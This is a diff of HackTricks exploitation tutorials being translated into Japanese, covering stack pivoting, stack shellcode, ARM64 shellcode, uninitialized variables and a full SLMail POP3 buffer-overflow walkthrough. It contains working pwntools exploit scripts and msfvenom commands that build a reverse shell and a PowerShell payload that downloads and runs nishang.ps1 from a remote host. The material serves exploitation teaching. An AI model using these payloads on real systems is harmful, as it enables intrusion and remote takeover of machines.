elf.sym['winner'] elf.sym['winner']
) )
payload = payload.ljust(104, b'A') # pad to 104 payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and # Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload # continues the ROP chain in the prepared payload
payload += flat( payload += flat(
POP_CHAIN, POP_CHAIN,
buffer # rsp buffer # rsp
) )
pause() pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### xchg \<reg>, rsp ガジェット
### xchg \<reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
xchg <reg>, rsp xchg <reg>, rsp
``` ```
### jmp esp ### jmp esp
Check the ret2esp technique here: ret2espテクニックについては、こちらを確認してください
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}} {{#endref}}
## References & Other Examples ## 参考文献と他の例
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled - 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - 64ビット、no relro、canary、nx、pie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用してpieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットして呼び出します。
## ARM64 ## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きして**SPレジスタを制御することはできません**。たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**。
- prologue - プロローグ
```armasm ```armasm
sub sp, sp, 16 sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record mov x29, sp // FPはフレームレコードを指します
``` ```
- epilogue - エピローグ
```armasm ```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16 add sp, sp, 16
ret ret
``` ```
> [!CAUTION] > [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. > ARM64でスタックピボットに似たことを実行する方法は、**`SP`**を制御できること(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**それに`RET`**することです。
Also in the following page you can see the equivalent of **Ret2esp in ARM64**: 次のページでは、**ARM64におけるRet2espの同等物**を見ることができます:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. **Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行したりするために使用される古典的な方法です。以下に、プロセスの概要と、シンプルなCの例、そして**pwntools**を使用して対応するエクスプロイトを書く方法を示します。
### C Example: A Vulnerable Program ### Cの例: 脆弱なプログラム
Let's start with a simple example of a vulnerable C program:
脆弱なCプログラムのシンプルな例から始めましょう:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow gets(buffer); // Unsafe function that does not check for buffer overflow
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
printf("Returned safely\n"); printf("Returned safely\n");
return 0; return 0;
} }
``` ```
このプログラムは、`gets()` 関数の使用によりバッファオーバーフローに対して脆弱です。
This program is vulnerable to a buffer overflow due to the use of the `gets()` function. ### コンパイル
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
このプログラムをコンパイルしてさまざまな保護を無効にすることで(脆弱な環境をシミュレートするために)、次のコマンドを使用できます:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
- `-fno-stack-protector`: スタック保護を無効にします。
- `-fno-stack-protector`: Disables stack protection. - `-z execstack`: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. - `-no-pie`: ポジション独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. - `-m32`: プログラムを32ビット実行可能ファイルとしてコンパイルし、エクスプロイト開発の簡素化にしばしば使用されます。
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
### Python Exploit using Pwntools ### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: ここでは、**pwntools**を使用して**ret2shellcode**攻撃を実行するためのPythonでのエクスプロイトの書き方を示します
```python ```python
from pwn import * from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、次に**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. **NOPスライド**`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. ## 保護
## Protections - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **は無効にするべき**で、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/)も無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. ## その他の例と参考文献
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it - 64ビット、スタックアドレスリークを伴うASLR、シェルコードを書き込み、そこにジャンプ
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it - 32ビット、スタックリークを伴うASLR、シェルコードを書き込み、そこにジャンプ
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it - 32ビット、スタックリークを伴うASLR、exit()への呼び出しを防ぐための比較、変数を値で上書きし、シェルコードを書き込み、そこにジャンプ
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack - arm64、ASLRなし、スタックを実行可能にするROPガジェットとスタック内のシェルコードにジャンプ
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in: arm64の紹介は以下を参照してください
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code&#x20; ## Code&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
PIE、カナリア、NXなしでコンパイル
Compile without pie, canary and nx:
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## No ASLR & No canary - Stack Overflow&#x20; ## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute: ASLRを停止するには、次のコマンドを実行します:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
[**bofのオフセットを取得するには、このリンクをチェックしてください**](../ret2win/ret2win-arm64.md#finding-the-offset)。
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). エクスプロイト:
Exploit:
```python ```python
from pwn import * from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
ここで唯一「複雑な」ことは、呼び出すためのスタック内のアドレスを見つけることです。私の場合、gdbを使用して見つけたアドレスでエクスプロイトを生成しましたが、エクスプロイトを実行したときにうまくいきませんでしたスタックアドレスが少し変わったためです
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). 生成された **`core` ファイル** (`gdb ./bog ./core`) を開き、シェルコードの開始位置の実際のアドレスを確認しました。
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables # 未初期化変数
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: ここでの核心的なアイデアは、**未初期化変数が、割り当てられたメモリに既にあった値を持つことが何を意味するかを理解することです。** 例:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. - **関数 1: `initializeVariable`**: 変数 `x` を宣言し、値を割り当てます。例えば `0x1234` とします。このアクションは、メモリ内にスポットを予約し、特定の値をそこに置くことに似ています。
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. - **関数 2: `useUninitializedVariable`**: ここでは、別の変数 `y` を宣言しますが、値は割り当てません。C言語では、未初期化変数は自動的にゼロに設定されることはありません。代わりに、最後にそのメモリ位置に保存されていた値を保持します。
When we run these two functions **sequentially**: これらの二つの関数を**順次**実行すると:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. 1. `initializeVariable` では、`x` に値 (`0x1234`) が割り当てられ、特定のメモリアドレスを占有します。
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. 2. `useUninitializedVariable` では、`y` が宣言されますが、値は割り当てられないため、`x` の直後のメモリスポットを取ります。`y` を初期化しなかったため、`x` が使用していた同じメモリ位置から値を「継承」することになります。なぜなら、それがそこにあった最後の値だからです。
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. この動作は、低レベルプログラミングにおける重要な概念を示しています: **メモリ管理は重要であり**、未初期化変数は予測不可能な動作やセキュリティの脆弱性を引き起こす可能性があります。なぜなら、意図せずにメモリに残された機密データを保持することがあるからです。
Uninitialized stack variables could pose several security risks like: 未初期化のスタック変数は、以下のような複数のセキュリティリスクを引き起こす可能性があります:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. - **データ漏洩**: パスワード、暗号鍵、または個人情報などの機密情報が未初期化変数に保存されると、攻撃者がこのデータを読み取る可能性があります。
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. - **情報漏洩**: 未初期化変数の内容は、プログラムのメモリレイアウトや内部操作に関する詳細を明らかにし、攻撃者がターゲットを絞ったエクスプロイトを開発するのを助ける可能性があります。
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. - **クラッシュと不安定性**: 未初期化変数を含む操作は未定義の動作を引き起こし、プログラムのクラッシュや予測不可能な結果をもたらすことがあります。
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - **任意のコード実行**: 特定のシナリオでは、攻撃者がこれらの脆弱性を利用してプログラムの実行フローを変更し、任意のコードを実行できるようになる可能性があります。これにはリモートコード実行の脅威が含まれるかもしれません。
### Example
### 例
```c ```c
#include <stdio.h> #include <stdio.h>
// Function to initialize and print a variable // Function to initialize and print a variable
void initializeAndPrint() { void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n"); printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
} }
// Function to demonstrate the behavior of an uninitialized variable // Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() { void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n"); printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
} }
int main() { int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable // First, call the function that initializes its variable
initializeAndPrint(); initializeAndPrint();
// Then, call the function that has an uninitialized variable // Then, call the function that has an uninitialized variable
demonstrateUninitializedVar(); demonstrateUninitializedVar();
return 0; return 0;
} }
``` ```
#### これがどのように機能するか:
#### How This Works: - **`initializeAndPrint` 関数**: この関数は整数変数 `initializedVar` を宣言し、値 `100` を割り当て、その後、変数のメモリアドレスと値の両方を印刷します。このステップは簡単で、初期化された変数がどのように動作するかを示しています。
- **`demonstrateUninitializedVar` 関数**: この関数では、初期化せずに整数変数 `uninitializedVar` を宣言します。その値を印刷しようとすると、出力にはランダムな数が表示されることがあります。この数は、そのメモリ位置に以前存在していたデータを表します。環境やコンパイラによって、実際の出力は異なる場合があり、安全のために、一部のコンパイラは変数を自動的にゼロに初期化することがありますが、これは信頼すべきではありません。
- **`main` 関数**: `main` 関数は、上記の2つの関数を順番に呼び出し、初期化された変数と初期化されていない変数の対比を示します。
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. ## ARM64の例
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## ARM64 Example ARM64では、ローカル変数もスタックで管理されるため、全く変わりません。ここで示されている[**この例**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)を確認できます。
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service** ## **SLMailサービスのインストールを開始する**
## Restart SLMail service ## SLMailサービスを再起動する
Every time you need to **restart the service SLMail** you can do it using the windows console:
**SLMailサービスを再起動する**必要があるたびに、Windowsコンソールを使用して行うことができます:
``` ```
net start slmail net start slmail
``` ```
![](<../images/image (988).png>) ![](<../images/image (988).png>)
## Very basic python exploit template ## 非常に基本的なPythonエクスプロイトテンプレート
```python ```python
#!/usr/bin/python #!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700 buffer = 'A' * 2700
try: try:
print "\nLaunching exploit..." print "\nLaunching exploit..."
s.connect((ip, port)) s.connect((ip, port))
data = s.recv(1024) data = s.recv(1024)
s.send('USER username' +'\r\n') s.send('USER username' +'\r\n')
data = s.recv(1024) data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n') s.send('PASS ' + buffer + '\r\n')
print "\nFinished!." print "\nFinished!."
except: except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
## **Immunity Debuggerのフォントを変更する**
## **Change Immunity Debugger Font** `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`に移動します。
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` ## **プロセスをImmunity Debuggerにアタッチする:**
## **Attach the proces to Immunity Debugger:**
**File --> Attach** **File --> Attach**
![](<../images/image (869).png>) ![](<../images/image (869).png>)
**And press START button** **そしてSTARTボタンを押します。**
## **Send the exploit and check if EIP is affected:** ## **エクスプロイトを送信し、EIPに影響があるか確認する:**
![](<../images/image (906).png>) ![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page. サービスを中断するたびに、このページの最初に示されているようにサービスを再起動する必要があります。
## Create a pattern to modify the EIP ## EIPを変更するためのパターンを作成する
The pattern should be as big as the buffer you used to broke the service previously. パターンは、以前にサービスを中断するために使用したバッファと同じ大きさである必要があります。
![](<../images/image (420).png>) ![](<../images/image (420).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
``` ```
バッファを変更し、パターンを設定してエクスプロイトを起動します。
Change the buffer of the exploit and set the pattern and lauch the exploit. 新しいクラッシュが発生するはずですが、異なるEIPアドレスで
A new crash should appeard, but with a different EIP address:
![](<../images/image (636).png>) ![](<../images/image (636).png>)
Check if the address was in your pattern: アドレスがあなたのパターンに含まれているか確認します:
![](<../images/image (418).png>) ![](<../images/image (418).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
``` ```
**バッファのオフセット2606でEIPを変更できるようです。**
Looks like **we can modify the EIP in offset 2606** of the buffer. エクスプロイトのバッファを変更して確認してください:
Check it modifing the buffer of the exploit:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'CCCC' buffer = 'A'*2606 + 'BBBB' + 'CCCC'
``` ```
このバッファでEIPがクラッシュした場合、42424242"BBBB")を指すべきです。
With this buffer the EIP crashed should point to 42424242 ("BBBB")
![](<../images/image (874).png>) ![](<../images/image (874).png>)
![](<../images/image (92).png>) ![](<../images/image (92).png>)
Looks like it is working. うまくいっているようです。
## Check for Shellcode space inside the stack ## スタック内のシェルコードスペースを確認する
600B should be enough for any powerfull shellcode. 600Bは、強力なシェルコードには十分です。
Lets change the bufer:
バッファを変更しましょう:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'C'*600 buffer = 'A'*2606 + 'BBBB' + 'C'*600
``` ```
新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さを確認します。
launch the new exploit and check the EBP and the length of the usefull shellcode
![](<../images/image (119).png>) ![](<../images/image (119).png>)
![](<../images/image (879).png>) ![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. 脆弱性に到達すると、EBPがシェルコードを指しており、ここにシェルコードを配置するための十分なスペースがあることがわかります。
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. この場合、**0x0209A128から0x0209A2D6まで = 430Bです。** 十分です。
## Check for bad chars ## 悪い文字の確認
Change again the buffer:
再度バッファを変更します:
``` ```
badchars = ( badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,30 +128,27 @@ badchars = (
) )
buffer = 'A'*2606 + 'BBBB' + badchars buffer = 'A'*2606 + 'BBBB' + badchars
``` ```
バッドキャラは0x01から始まります。なぜなら、0x00はほぼ常に悪いからです。
The badchars starts in 0x01 because 0x00 is almost always bad. この新しいバッファでエクスプロイトを繰り返し実行し、無駄な文字を削除します。
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. 例えば:
For example: この場合、**0x0Aの文字は使用しないべきです**0x09の文字のためにメモリに何も保存されません
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
![](<../images/image (111).png>) ![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**: この場合、**0x0Dの文字は避けられています**
![](<../images/image (1098).png>) ![](<../images/image (1098).png>)
## Find a JMP ESP as a return address ## リターンアドレスとしてJMP ESPを見つける
Using:
使用:
``` ```
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
``` ```
メモリマップを**リスト**します。次の条件を満たすDLLを探します
You will **list the memory maps**. Search for some DLl that has:
- **Rebase: False** - **Rebase: False**
- **SafeSEH: False** - **SafeSEH: False**
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
![](<../images/image (555).png>) ![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute: さて、このメモリ内でJMP ESPバイトを見つける必要があります。そのためには、次のコマンドを実行します
``` ```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
``` ```
**次に、アドレスが見つかった場合は、badcharを含まないものを選択します:**
**Then, if some address is found, choose one that don't contain any badchar:**
![](<../images/image (605).png>) ![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_ **この場合、例えば: \_0x5f4a358f**\_
## Create shellcode
## シェルコードを作成する
``` ```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
``` ```
もしエクスプロイトが機能していないが、機能するはずである場合ImDebgでシェルコードに到達しているのが確認できる、他のシェルコードを作成してみてくださいmsfvenomを使用して同じパラメータの異なるシェルコードを作成します
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). **シェルコードの最初にいくつかのNOPを追加**し、それを使用してリターンアドレスをJMP ESPに設定し、エクスプロイトを完了させます。
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
```bash ```bash
#!/usr/bin/python #!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try: try:
print "\nLaunching exploit..." print "\nLaunching exploit..."
s.connect((ip, port)) s.connect((ip, port))
data = s.recv(1024) data = s.recv(1024)
